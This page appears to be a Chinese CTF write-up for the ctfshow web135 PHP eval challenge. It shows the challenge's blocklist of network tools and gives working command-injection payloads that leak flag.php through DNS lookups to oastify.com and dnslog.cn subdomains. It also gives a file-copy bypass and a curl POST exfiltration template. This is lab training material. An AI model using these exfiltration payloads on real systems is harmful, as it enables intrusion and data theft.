news 2026/4/27 20:05:10

ctfshow-web135

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
ctfshow-web135

PS:萌新ctfer的解题过程,如有错误之处恳请师傅们指正

(本题为web133的进阶版,基本过程可见ctfshow-web133)

一:增强过滤

打开靶场,可以看到正则里又过滤了好多东西:

error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }

其中,这里就有我们之前用的curl,说明这里HTTP 外带(主动把文件内容 POST 到外部服务器)不适用,那么我们就可以换成DNS 外带(把数据拼接到域名里,通过 DNS 解析请求把数据发送出去)。这种方式的最大优势是绕开很多环境限制(比如没有curl/wget、服务器禁止出站 HTTP 请求,但 DNS 请求通常不会被禁)。

二:具体构造

还是一样,先给出我们的payload:

?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd 'a-zA-Z0-9-'`.a8jyvpll7rtaqerbtw8l8qp38uel2cq1.oastify.com

1.总体结构

最开始的?F=`$F`;就是我们上传的F参数,后面的所有都是F里面的内容。

+号是 URL 中空格的编码形式,其中更为常见的是%20,URL中空格是不允许直接出现的,所以这里就用+来表示一下;而ping是Linux 的网络测试命令,在这里的核心作用是触发 DNS 请求:

  • 当执行ping xxx.oastify.com时,操作系统会先向 DNS 服务器发送请求,查询xxx.oastify.com的 IP 地址(这就是 DNS 解析)。
  • xxx正是我们从flag.php中提取的 flag 内容,这样 DNS 服务器就会记录下这个包含 flag 的域名请求,我们就能在 oastify 平台上看到 flag 了。

后面的就是提取flag的核心命令了

2.核心命令

?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd 'a-zA-Z0-9-'`.coma8jyvpll7rtaqerbtw8l8qp38uel2cq1.oastify.com

1.nl flag.php:给文件的每一行添加行号

  • nl:是number lines的缩写,中文叫 “行号打印命令”,作用是读取文件内容,给每一行加上行号 + 空格后输出。
  • 为什么用nl:因为 CTF 中flag.php里的 flag 通常在某一行固定位置(比如第 15 行),加行号后才能用后续命令精准定位行号。

(注意这里的flag的行数是要自己一一试出来的,可以在BP里的Reapeater更改)

2.awk 'NR==15':只提取第 15 行的内容

  • awk:是 Linux 中处理文本的核心工具,能按行、按列解析文本内容,功能非常强大
  • NR:是awk的内置变量,代表当前处理的行号(Number of Record)。
  • NR==15:是awk的条件判断,意思是 “只处理行号等于 15 的那一行,其他行都忽略”

3.tr -cd 'a-zA-Z0-9-':过滤掉非指定的字符

  • tr:是translate的缩写,中文叫 “字符转换 / 过滤命令”,主要用来替换、删除文本中的字符
  • -c:全称--complement,意思是 “取反”,即匹配不在指定字符集中的字符
  • -d:全称--delete,意思是 “删除”,即删除匹配到的字符。
  • 'a-zA-Z0-9-':指定的字符集,包括:
    • -:短横线(DNS 域名允许包含短横线)
    • 0-9:数字
    • A-Z:大写字母
    • a-z:小写字母
  • 组合起来的意思:删除所有不在a-zA-Z0-9-范围内的字符,只保留这个范围内的字符

4.域名

最后的域名是DNS 数据收集平台分配的专属子域名,由 “唯一随机前缀 + 平台主域名” 组成。

这个域名的核心作用是作为 DNS 请求的目标,让平台记录包含 flag 内容的域名请求

三:获取flag

我们先将我们的payload直接在hackbar里输入,这样后面转到BP里空格和反引号会自动转码,避免兼容性问题。【开代理之后直接execute即可】:

然后我们发送到repeater模块,直接send:

然后我们就可以在collaborator模块里看到部分flag内容:

(这里没有大括号是因为我们把除了数字和字母以外的字符都去掉了,但是不知道为什么字母有大写有小写的,希望知道的师傅能帮我解惑)

注意这里我们找到的只是部分flag【提取的是第15行的内容】,因此后面NR还要改成16,得到第二部分flag如下:

我们将flag进行拼接就可以了,但是总不可能说我将大写字母一个一个都改成小写字母吧,那样还是太吃操作了,所以这时候编程就有大用处了,写一个简单的python转换大小写字母就可以了:

string.lower()就是将大写字母转成小写字母,最后再加上我们的大括号,得到最终flag就可以了。


四:其他方法

看来其他师傅的wp,说也能用cp 和mv来绕过过滤:

?F=`$F`; cp flag.php 2.txt

后面再改成2.txt读取一下就行了:

然后我想着web133是不是也可以用这个方法去做,然后去试了一下,发现没用,可能是文件权限问题或者文件访问限制等,总之也算是拓展一下视野吧。

还有一个是大菜鸡师傅用的是DNSlog,看视频里构造的payload是这样的:

?F=`$F`;ping `nl flag.php|awk 'NR==15'|tr -cd 'a-z0-9-'`.2mseu1.dnslog.cn -c 1

-cping命令的一个核心参数,全称是count(计数),作用是指定ping命令发送的数据包数量

  • ping -c 1 域名/IP:表示只给目标域名 / IP发送 1 个 ping 数据包,发送完成后,ping命令就会立即终止。
  • 如果不加-c参数,在 Linux 系统中,ping命令会一直持续发送数据包(直到按Ctrl+C手动终止)

但是不知道为什么我做不出来,

一直没有显示,希望有知道的师傅能解惑(大菜鸡师傅说网站有问题)

五:结语

通过这道题我们了解了DNS外带:

  • 将处理后的字符串作为子域名
  • 通过ping触发DNS解析请求
  • 在DNS日志平台查看请求记录获取flag

以及通过尝试行号找到flag在哪里,最后则是不同环境下对权限的限制【还是BurpSuite好用】

面对无回显(Blind)漏洞,获取数据的核心思路是:想尽办法让目标服务器主动“告诉”我们。

战术总结

1. 首选:HTTP带外(OOB-HTTP)

· 条件:目标服务器能出网,且有curl、wget等工具。

· 方法:用curl -X POST -F file=@/flag http://your-server将文件内容POST到你的监听服务器。

· 工具:Burp Collaborator、nc监听、公网VPS。

2. 次选:DNS带外(OOB-DNS)

· 条件:HTTP被禁,但DNS解析通常被放过。

· 方法:将数据作为子域名的一部分,通过ping或nslookup触发DNS查询。

· 工具:Burp Collaborator、DNSLog.cn。

3. 备选:时间盲注(Time-Based)

· 条件:完全不出网。

· 方法:通过命令执行的延时(sleep 5)来逐位推断数据,极其缓慢。

选择原则:优先尝试DNS,因为它限制最少;如果不成功,再尝试HTTP。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 18:02:18

LobeChat能否实现AI外交官?国际关系分析与谈判策略建议

LobeChat能否实现AI外交官?国际关系分析与谈判策略建议 在一场模拟的中美科技贸易谈判预演中,一位政策分析师打开内网系统,启动名为“中国科技政策顾问”的AI角色。他上传了最新一期美国商务部出口管制清单的PDF文件,并输入指令&a…

作者头像 李华
网站建设 2026/4/26 2:52:34

LobeChat辅助编程实测:写代码真的更快了吗?

LobeChat辅助编程实测:写代码真的更快了吗? 在今天,一个开发者可能上午还在用Python处理数据,下午就得写前端组件,晚上又要给运维同事解释API接口的设计逻辑。面对这种“全栈即日常”的现实,我们越来越依赖…

作者头像 李华
网站建设 2026/4/27 18:48:58

2025.12.16新闻

百度首页 哈哈哈分享万岁 人民币,大涨!对美元将“破7”? 每日经济新闻 2025-12-16 00:18每日经济新闻官方账号 已关注 12月15日,人民币对美元汇率显著走强,更多反映国际投资者预期的离岸人民币于盘中升破7.05,在岸、离岸人民币汇率双双达到去年10月中旬以来的高点。…

作者头像 李华
网站建设 2026/4/18 13:13:49

LobeChat会议通知模板自动生成

LobeChat:让AI真正“动手”的智能办公入口 在一家快速扩张的科技公司里,行政助理小李每天要处理十几场会议安排。过去,她需要反复确认时间、手动撰写通知、逐个发送邮件——繁琐且容易出错。如今,她的工作方式变了:“只…

作者头像 李华
网站建设 2026/4/22 20:16:44

LobeChat能否连接Airtable?轻量级后台管理系统集成

LobeChat 能否连接 Airtable?轻量级后台管理系统集成 在 AI 应用快速落地的今天,一个常见但棘手的问题浮出水面:我们有了强大的大语言模型,也部署了美观流畅的聊天界面,可一旦涉及“记录留存”、“任务追踪”或“团队协…

作者头像 李华
网站建设 2026/4/22 17:27:00

LobeChat儿童节亲子活动策划

LobeChat儿童节亲子活动策划 在儿童节这样一个充满欢笑与期待的日子里,越来越多的家庭开始尝试将科技融入亲子互动。然而,市面上大多数智能语音助手虽然能回答问题,却往往缺乏个性、不够安全,甚至可能输出不适合儿童的内容。如何为…

作者头像 李华